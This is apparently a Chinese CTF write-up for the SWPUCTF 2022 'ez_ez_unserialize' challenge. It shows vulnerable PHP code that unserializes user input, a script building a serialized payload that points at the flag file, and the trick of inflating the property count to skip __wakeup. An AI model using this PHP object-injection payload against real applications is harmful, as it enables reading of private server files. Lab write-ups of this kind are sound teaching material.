复健第二天之[SWPUCTF 2022 新生赛]ez_ez_unserialize

打开题目在线环境直接看到源码:

php 复制代码
<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

审计这些php代码,是反序列化,然后根据这个构造pop链:

php 复制代码
<?php

class X
{
    public $x = 'fllllllag.php';
}

$a = new X;
echo serialize($a);

?>

输出 的反序列化数据为:

*O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

这里绕过weakup,修改 "X" 后的 1(成员属性数量) 大于 1(实际数量) 即可。

最后再用GET或者POST 方法传参得到flag。

相关推荐
迪康Defender10 小时前
终端供应链安全:应用白名单与软件正版化检测落地|终端安全治理实践
运维·服务器·网络·安全·web安全·自动化·运维开发
科技小登16 小时前
出海高防CDN怎么选?CDN加速、边缘清洗与跨境回源POC指南
tcp/ip·web安全·ddos
是真的小外套21 小时前
网络安全实战第21期:一次完整的注入风险验证与记录
安全·web安全
kingx32 天前
Bugku WEB 题解总集:文件包含 / SQLi / 反序列化 / SSTI / 反爬 / 组件漏洞
web安全·网络安全·ctf·bugku
CCIE-Yasuo2 天前
网络安全-Javascript基础
javascript·安全·web安全
是真的小外套2 天前
网络安全实战第17期:自动化检测误报漏报真相
安全·web安全·自动化
是真的小外套2 天前
网络安全实战第19期:三重防护失效真相之注入攻击的无限变形之路
安全·web安全
是真的小外套2 天前
网络安全实战第14期:Week2周末闯关
网络·安全·web安全
是真的小外套3 天前
网络安全实战第13期:侦察报告撰写
安全·web安全
是真的小外套3 天前
网络安全实战第15期:SQL注入根源之一条拼接语句的警示
sql·安全·web安全